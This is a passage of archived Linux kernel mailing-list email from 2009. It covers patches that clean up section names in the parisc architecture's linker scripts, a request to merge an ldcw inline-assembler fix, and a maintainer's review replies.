Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
---
 arch/parisc/kernel/vmlinux.lds.S |   12 +-----------
 1 files changed, 1 insertions(+), 11 deletions(-)

diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index fd2cc4f..0cc9658 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -103,6 +103,7 @@ SECTIONS
 	. = ALIGN(L1_CACHE_BYTES);
 	/* Data */
 	.data : {
+		NOSAVE_DATA
 		DATA_DATA
 		CONSTRUCTORS
 	}
@@ -118,17 +119,6 @@ SECTIONS
 		*(.data.lock_aligned)
 	}
 
-	/* nosave data is really only used for software suspend...it's here
-	 * just in case we ever implement it
-	 */
-	. = ALIGN(PAGE_SIZE);
-	__nosave_begin = .;
-	.data_nosave : {
-		*(.data.nosave)
-	}
-	. = ALIGN(PAGE_SIZE);
-	__nosave_end = .;

From - Thu Nov 08 21:04:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Abbott <tabbott@MIT.EDU>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 0/5] section name cleanup for parisc
Date: Thu, 30 Apr 2009 19:55:14 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <1241135719-9286-1-git-send-email-tabbott@mit.edu>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1241136062 3159 80.91.229.12 (1 May 2009 00:01:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 May 2009 00:01:02 +0000 (UTC)
Cc: Linux kernel mailing list <linux-kernel@vger.kernel.org>,
	Anders Kaseorg <andersk@mit.edu>,
	Waseem Daher <wdaher@mit.edu>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Jeff Arnold <jbarnold@mit.edu>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org, Tim Abbott <tabbott@mit.edu>
To: Sam Ravnborg <sam@ravnborg.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 01 02:00:52 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LzgBP-0001xV-7M
	for glpp-linux-parisc@gmane.org; Fri, 01 May 2009 02:00:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1762094AbZD3X7K (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 30 Apr 2009 19:59:10 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1764397AbZD3X7J
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 30 Apr 2009 19:59:09 -0400
Original-Received: from BISCAYNE-ONE-STATION.MIT.EDU ([18.7.7.80]:61105 "EHLO
	biscayne-one-station.mit.edu" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1758313AbZD3X7H (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 30 Apr 2009 19:59:07 -0400
Original-Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103])
	by biscayne-one-station.mit.edu (8.13.6/8.9.2) with ESMTP id n3UNtKPr018132;
	Thu, 30 Apr 2009 19:55:20 -0400 (EDT)
Original-Received: from localhost (c-67-186-133-195.hsd1.ma.comcast.net [67.186.133.195])
	(authenticated bits=0)
        (User authenticated as tabbott@ATHENA.MIT.EDU)
	by outgoing.mit.edu (8.13.6/8.12.4) with ESMTP id n3UNtJT0011648;
	Thu, 30 Apr 2009 19:55:19 -0400 (EDT)
X-Mailer: git-send-email 1.6.2.1
X-Scanned-By: MIMEDefang 2.42
X-Spam-Flag: NO
X-Spam-Score: 0.00
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1602 gmane.linux.kernel:830480
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1602>

This patch series cleans up the section names on the parisc
architecture.  It requires the architecture-independent macro
definitions from this patch series:

<http://www.spinics.net/lists/mips/msg33499.html>

The long-term goal here is to add support for building the kernel with
-ffunction-sections -fdata-sections.  This requires renaming all the
magic section names in the kernel of the form .text.foo, .data.foo,
.bss.foo, and .rodata.foo to not have collisions with sections
generated for code like:

static int nosave = 0; /* -fdata-sections places in .data.nosave */
static void head(); /* -ffunction-sections places in .text.head */

Note that these patches have not been boot-tested (aside from testing
the analogous changes on x86), since I don't have access to the
appropriate hardware.

	-Tim Abbott


Tim Abbott (5):
  parisc: use NOSAVE_DATA macro for .data.nosave section.
  parisc: use new macro for .data.cacheline_aligned section.
  parisc: use new macros for .data.init_task.
  parisc: use new macro for .data.read_mostly section.
  parisc: convert to new generic read_mostly support.

 arch/parisc/Kconfig              |    3 +++
 arch/parisc/include/asm/cache.h  |    2 --
 arch/parisc/kernel/head.S        |    3 ++-
 arch/parisc/kernel/init_task.c   |    2 +-
 arch/parisc/kernel/vmlinux.lds.S |   36 +++++-------------------------------
 5 files changed, 11 insertions(+), 35 deletions(-)

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Abbott <tabbott@MIT.EDU>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 5/5] parisc: convert to new generic read_mostly support.
Date: Thu, 30 Apr 2009 19:55:19 -0400
Lines: 66
Approved: news@gmane.org
Message-ID: <1241135719-9286-6-git-send-email-tabbott@mit.edu>
References: <1241135719-9286-1-git-send-email-tabbott@mit.edu>
 <1241135719-9286-2-git-send-email-tabbott@mit.edu>
 <1241135719-9286-3-git-send-email-tabbott@mit.edu>
 <1241135719-9286-4-git-send-email-tabbott@mit.edu>
 <1241135719-9286-5-git-send-email-tabbott@mit.edu>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1241136065 3165 80.91.229.12 (1 May 2009 00:01:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 May 2009 00:01:05 +0000 (UTC)
Cc: Linux kernel mailing list <linux-kernel@vger.kernel.org>,
	Anders Kaseorg <andersk@mit.edu>,
	Waseem Daher <wdaher@mit.edu>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Jeff Arnold <jbarnold@mit.edu>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org, Tim Abbott <tabbott@mit.edu>
To: Sam Ravnborg <sam@ravnborg.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 01 02:00:52 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LzgBP-0001xV-VE
	for glpp-linux-parisc@gmane.org; Fri, 01 May 2009 02:00:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1764881AbZD3X7M (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 30 Apr 2009 19:59:12 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1760908AbZD3X7M
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 30 Apr 2009 19:59:12 -0400
Original-Received: from BISCAYNE-ONE-STATION.MIT.EDU ([18.7.7.80]:61114 "EHLO
	biscayne-one-station.mit.edu" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1764600AbZD3X7K (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 30 Apr 2009 19:59:10 -0400
Original-Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103])
	by biscayne-one-station.mit.edu (8.13.6/8.9.2) with ESMTP id n3UNtPce018198;
	Thu, 30 Apr 2009 19:55:25 -0400 (EDT)
Original-Received: from localhost (c-67-186-133-195.hsd1.ma.comcast.net [67.186.133.195])
	(authenticated bits=0)
        (User authenticated as tabbott@ATHENA.MIT.EDU)
	by outgoing.mit.edu (8.13.6/8.12.4) with ESMTP id n3UNtOao011687;
	Thu, 30 Apr 2009 19:55:25 -0400 (EDT)
X-Mailer: git-send-email 1.6.2.1
In-Reply-To: <1241135719-9286-5-git-send-email-tabbott@mit.edu>
X-Scanned-By: MIMEDefang 2.42
X-Spam-Flag: NO
X-Spam-Score: 0.00
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1603 gmane.linux.kernel:830481
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1603>

Signed-off-by: Tim Abbott <tabbott@mit.edu>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
---
 arch/parisc/Kconfig             |    3 +++
 arch/parisc/include/asm/cache.h |    2 --
 arch/parisc/kernel/head.S       |    3 ++-
 3 files changed, 5 insertions(+), 3 deletions(-)

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 9038f39..cc113d0 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -101,6 +101,9 @@ config ARCH_MAY_HAVE_PC_FDC
 	depends on BROKEN
 	default y
 
+config HAVE_READ_MOSTLY_DATA
+	def_bool y
+
 source "init/Kconfig"
 
 source "kernel/Kconfig.freezer"
diff --git a/arch/parisc/include/asm/cache.h b/arch/parisc/include/asm/cache.h
index 32c2cca..21e0865 100644
--- a/arch/parisc/include/asm/cache.h
+++ b/arch/parisc/include/asm/cache.h
@@ -28,8 +28,6 @@
 
 #define SMP_CACHE_BYTES L1_CACHE_BYTES
 
-#define __read_mostly __attribute__((__section__(".data.read_mostly")))
-
 void parisc_cache_init(void);	/* initializes cache-flushing */
 void disable_sr_hashing_asm(int); /* low level support for above */
 void disable_sr_hashing(void);   /* turns off space register hashing */
diff --git a/arch/parisc/kernel/head.S b/arch/parisc/kernel/head.S
index 0e3d9f9..712d29d 100644
--- a/arch/parisc/kernel/head.S
+++ b/arch/parisc/kernel/head.S
@@ -19,6 +19,7 @@
 #include <asm/assembly.h>
 #include <asm/pgtable.h>
 
+#include <linux/cache.h>
 #include <linux/linkage.h>
 #include <linux/init.h>
 
@@ -345,7 +346,7 @@ smp_slave_stext:
 ENDPROC(stext)
 
 #ifndef CONFIG_64BIT
-	.section .data.read_mostly
+	__READ_MOSTLY
 
 	.align	4
 	.export	$global$,data
-- 
1.6.2.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Abbott <tabbott@MIT.EDU>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 3/5] parisc: use new macros for .data.init_task.
Date: Thu, 30 Apr 2009 19:55:17 -0400
Lines: 49
Approved: news@gmane.org
Message-ID: <1241135719-9286-4-git-send-email-tabbott@mit.edu>
References: <1241135719-9286-1-git-send-email-tabbott@mit.edu>
 <1241135719-9286-2-git-send-email-tabbott@mit.edu>
 <1241135719-9286-3-git-send-email-tabbott@mit.edu>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1241136065 3171 80.91.229.12 (1 May 2009 00:01:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 May 2009 00:01:05 +0000 (UTC)
Cc: Linux kernel mailing list <linux-kernel@vger.kernel.org>,
	Anders Kaseorg <andersk@mit.edu>,
	Waseem Daher <wdaher@mit.edu>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Jeff Arnold <jbarnold@mit.edu>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org, Tim Abbott <tabbott@mit.edu>
To: Sam Ravnborg <sam@ravnborg.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 01 02:00:54 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LzgBR-0001xV-DC
	for glpp-linux-parisc@gmane.org; Fri, 01 May 2009 02:00:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1762269AbZD3X7x (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 30 Apr 2009 19:59:53 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757455AbZD3X7x
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 30 Apr 2009 19:59:53 -0400
Original-Received: from BISCAYNE-ONE-STATION.MIT.EDU ([18.7.7.80]:61127 "EHLO
	biscayne-one-station.mit.edu" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1764897AbZD3X7v (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 30 Apr 2009 19:59:51 -0400
Original-Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103])
	by biscayne-one-station.mit.edu (8.13.6/8.9.2) with ESMTP id n3UNtNpT018188;
	Thu, 30 Apr 2009 19:55:23 -0400 (EDT)
Original-Received: from localhost (c-67-186-133-195.hsd1.ma.comcast.net [67.186.133.195])
	(authenticated bits=0)
        (User authenticated as tabbott@ATHENA.MIT.EDU)
	by outgoing.mit.edu (8.13.6/8.12.4) with ESMTP id n3UNtMd2011670;
	Thu, 30 Apr 2009 19:55:22 -0400 (EDT)
X-Mailer: git-send-email 1.6.2.1
In-Reply-To: <1241135719-9286-3-git-send-email-tabbott@mit.edu>
X-Scanned-By: MIMEDefang 2.42
X-Spam-Flag: NO
X-Spam-Score: 0.00
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1604 gmane.linux.kernel:830482
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1604>

.data.init_task should not need a separate output section; this change
moves it into the .data section.

Signed-off-by: Tim Abbott <tabbott@mit.edu>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
---
 arch/parisc/kernel/init_task.c   |    2 +-
 arch/parisc/kernel/vmlinux.lds.S |   10 ++--------
 2 files changed, 3 insertions(+), 9 deletions(-)

diff --git a/arch/parisc/kernel/init_task.c b/arch/parisc/kernel/init_task.c
index 1e25a45..8ee17ea 100644
--- a/arch/parisc/kernel/init_task.c
+++ b/arch/parisc/kernel/init_task.c
@@ -48,7 +48,7 @@ EXPORT_SYMBOL(init_mm);
  * "init_task" linker map entry..
  */
 union thread_union init_thread_union
-	__attribute__((aligned(128))) __attribute__((__section__(".data.init_task"))) =
+	__attribute__((aligned(128))) __init_task_data =
 		{ INIT_THREAD_INFO(init_task) };
 
 #if PT_NLEVELS == 3
diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index b5936c9..c8a528d 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -103,6 +103,8 @@ SECTIONS
 	. = ALIGN(L1_CACHE_BYTES);
 	/* Data */
 	.data : {
+		/* assembler code expects init_task to be 16k aligned */
+		INIT_TASK_DATA(16384)
 		NOSAVE_DATA
 		CACHELINE_ALIGNED_DATA(L1_CACHE_BYTES)
 		DATA_DATA
@@ -133,14 +135,6 @@ SECTIONS
 	}
 	__bss_stop = .;
 
-
-	/* assembler code expects init_task to be 16k aligned */
-	. = ALIGN(16384);
-	/* init_task */
-	.data.init_task : {
-		*(.data.init_task)
-	}

From - Thu Nov 08 21:04:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] fix ldcw inline assembler
Date: Thu, 30 Apr 2009 21:47:13 -2800 (EDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <20090501014714.7804E4FC4@hiauly1.hia.nrc.ca>
References: <20090430222703.GB18899@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241142903 17487 80.91.229.12 (1 May 2009 01:55:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 May 2009 01:55:03 +0000 (UTC)
Cc: deller@gmx.de, linux-parisc@vger.kernel.org, kyle@mcmartin.ca,
	varenet@debian.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 01 03:54:53 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lzhxk-0002dQ-Er
	for glpp-linux-parisc@gmane.org; Fri, 01 May 2009 03:54:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752042AbZEAByu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 30 Apr 2009 21:54:50 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752142AbZEAByu
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 30 Apr 2009 21:54:50 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4395 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752042AbZEAByu (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 30 Apr 2009 21:54:50 -0400
X-Greylist: delayed 454 seconds by postgrey-1.27 at vger.kernel.org; Thu, 30 Apr 2009 21:54:49 EDT
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 7804E4FC4; Thu, 30 Apr 2009 21:47:14 -0400 (EDT)
In-Reply-To: <20090430222703.GB18899@bombadil.infradead.org> from "Kyle McMartin" at Apr 30, 2009 06:27:03 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1605
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1605>

> On Thu, Apr 30, 2009 at 11:39:45PM +0200, Helge Deller wrote:
> > This "fix ldcw assembler" patch below is really an old one now, but sadly it never got applied.
> > 
> > I just tried it again. Without this patch I always see login-problems when ssh-ing into
> > my parisc box. The very first time sshd just drops the connection (Connection closed by remote host).
> > With this patch I didn't faced this problem again.
> > 
> > I'm wondering, if not other userspace problems suddenly go away then as well,
> > e.g. the uid/gid issues others are seeing:
> > http://marc.info/?l=linux-parisc&m=121114269417948&w=2
> > 
> > Kyle, please apply.
> > 
> 
> gotcha.

Kyle, can you try and push it into 2.6.30?  It fixes a major security hole.

I've tried it with 2.6.30-rc4 on my c3750 and agree with Helge that it
fixes the ssh bug that I had on this machine.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam@ravnborg.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uclinux.microblaze,gmane.linux.ports.sparc,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.uml.devel
Subject: Re: [PATCH v2 0/6] macros for section name cleanup
Date: Fri, 1 May 2009 11:04:56 +0200
Lines: 52
Approved: news@gmane.org
Message-ID: <20090501090455.GA18326@uranus.ravnborg.org>
References: <1241121253-32341-1-git-send-email-tabbott@mit.edu>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241168627 1540 80.91.229.12 (1 May 2009 09:03:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 May 2009 09:03:47 +0000 (UTC)
Cc: Linux kernel mailing list <linux-kernel@vger.kernel.org>,
	Anders Kaseorg <andersk@mit.edu>,
	Waseem Daher <wdaher@mit.edu>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Jeff Arnold <jbarnold@mit.edu>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Bryan Wu <cooloney@kernel.org>,
	Chris Zankel <chris@zankel.net>,
	Cyrill Gorcunov <gorcunov@openvz.org>,
	David Howells <dhowells@redhat.com>,
	"David S. Miller" <davem@davemloft.net>, dev-etrax@axis.com,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Greg Ungerer <gerg@uclinux.org>,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>,
	Hirokazu Takata <takata@linux-m32r.org>,
	"H. Peter Anvin" <hpa@zytor.com>, Ingo Molnar <mingo@redhat.com>,
	Jeff Dike <jdike@addtoit.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Linus Torvalds <
To: Tim Abbott <tabbott@MIT.EDU>
Original-X-From: linux-mips-bounce@linux-mips.org Fri May 01 11:03:30 2009
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from ftp.linux-mips.org ([213.58.128.207])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LzoeX-0001wj-HD
	for sgi-linux-mips@gmane.org; Fri, 01 May 2009 11:03:29 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:42018 "EHLO
	ftp.linux-mips.org" rhost-flags-OK-OK-OK-FAIL) by ftp.linux-mips.org
	with ESMTP id S20027054AbZEAJDZ (ORCPT
	<rfc822;sgi-linux-mips@gmane.org>); Fri, 1 May 2009 10:03:25 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 01 May 2009 10:03:08 +0100 (BST)
Original-Received: from pfepa.post.tele.dk ([195.41.46.235]:49144 "EHLO
	pfepa.post.tele.dk" rhost-flags-OK-OK-OK-OK) by ftp.linux-mips.org
	with ESMTP id S20027053AbZEAJDB (ORCPT
	<rfc822;linux-mips@linux-mips.org>); Fri, 1 May 2009 10:03:01 +0100
Original-Received: from ravnborg.org (x1-6-00-1e-2a-84-ae-3e.k225.webspeed.dk [80.163.61.94])
	by pfepa.post.tele.dk (Postfix) with ESMTP id F248FA5005B;
	Fri,  1 May 2009 11:02:45 +0200 (CEST)
Original-Received: by ravnborg.org (Postfix, from userid 500)
	id 35671580D0; Fri,  1 May 2009 11:04:56 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1241121253-32341-1-git-send-email-tabbott@mit.edu>
User-Agent: Mutt/1.4.2.1i
X-archive-position: 22583
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: sam@ravnborg.org
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:23612 gmane.linux.kernel:830629 gmane.linux.ports.alpha:522 gmane.linux.ports.ia64:20323 gmane.linux.ports.m68k:692 gmane.linux.ports.parisc:1606 gmane.linux.ports.ppc64.devel:55727 gmane.linux.ports.sh.devel:5867 gmane.linux.uclinux.microblaze:8585 gmane.linux.ports.sparc:11552 gmane.linux.hardware.blackfin.kernel.devel:1360 gmane.linux.uml.devel:12184
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1606>

On Thu, Apr 30, 2009 at 03:54:07PM -0400, Tim Abbott wrote:
> (this patch series differs from v1 only in the CC list; some of the
> architecture lists I sent the previous one to are moderated against
> non-members; all replies should go to this version).
> 
> Here are the architecture-independent macro definitions needed for
> to clean up the kernel's section names.  The overall diffstat from
> this section name cleanup project is:
> 
>  96 files changed, 261 insertions(+), 503 deletions(-)
> 
> The decrease results from removing a lot of redundancy in the linker
> scripts.
> 
> The long-term goal here is to add support for building the kernel with
> -ffunction-sections -fdata-sections.  This requires renaming all the
> magic section names in the kernel of the form .text.foo, .data.foo,
> .bss.foo, and .rodata.foo to not have collisions with sections
> generated for code like:
> 
> static int nosave = 0; /* -fdata-sections places in .data.nosave */
> static void head(); /* -ffunction-sections places in .text.head */
> 
> Sam Ravnborg proposed that rather than just renaming all the sections
> outright, we should start by first getting more control over the
> section names used in the kernel so that we can later rename sections
> without touching too many files.  These patch series implement that
> cleanup.  Later, there will be another patch series to actually rename
> the sections.
> 
> I'm hoping we can get just these macro definitions into 2.6.30 so that
> the arch maintainers don't have to grab the macro definitions for
> their trees while reviewing the patches for 2.6.31.
> 
> Shortly, I'm going to send one patch series for each of the
> architectures updating those architectures to use these new macros
> (and otherwise cleaning up section names on those architectures).

Hi Tim.

We agreed to get the common stuff and one architecture done before
proceeding with the rest.
Please stick to that plan so we avoid patch-bombing lkml + maintainers.

When we have this ready it will be a simple one-patch-per-arch to cover
the rest.

I will comment on your common patches for now.

	Sam



From - Thu Nov 08 21:04:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam@ravnborg.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uclinux.microblaze,gmane.linux.ports.sparc,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.uml.devel
Subject: Re: [PATCH v2 1/6] Add new macros for page-aligned data and bss sections.
Date: Fri, 1 May 2009 11:18:48 +0200
Lines: 67
Approved: news@gmane.org
Message-ID: <20090501091848.GB18326@uranus.ravnborg.org>
References: <1241121253-32341-1-git-send-email-tabbott@mit.edu> <1241121253-32341-2-git-send-email-tabbott@mit.edu>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241169450 3588 80.91.229.12 (1 May 2009 09:17:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 May 2009 09:17:30 +0000 (UTC)
Cc: Linux kernel mailing list <linux-kernel@vger.kernel.org>,
	Anders Kaseorg <andersk@mit.edu>,
	Waseem Daher <wdaher@mit.edu>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Jeff Arnold <jbarnold@mit.edu>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Bryan Wu <cooloney@kernel.org>,
	Chris Zankel <chris@zankel.net>,
	Cyrill Gorcunov <gorcunov@openvz.org>,
	David Howells <dhowells@redhat.com>,
	"David S. Miller" <davem@davemloft.net>, dev-etrax@axis.com,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Greg Ungerer <gerg@uclinux.org>,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>,
	Hirokazu Takata <takata@linux-m32r.org>,
	"H. Peter Anvin" <hpa@zytor.com>, Ingo Molnar <mingo@redhat.com>,
	Jeff Dike <jdike@addtoit.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Linus Torvalds <
To: Tim Abbott <tabbott@MIT.EDU>
Original-X-From: linux-mips-bounce@linux-mips.org Fri May 01 11:17:13 2009
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from ftp.linux-mips.org ([213.58.128.207])
	by lo.gmane.org with esmtp (Exim 4.50)
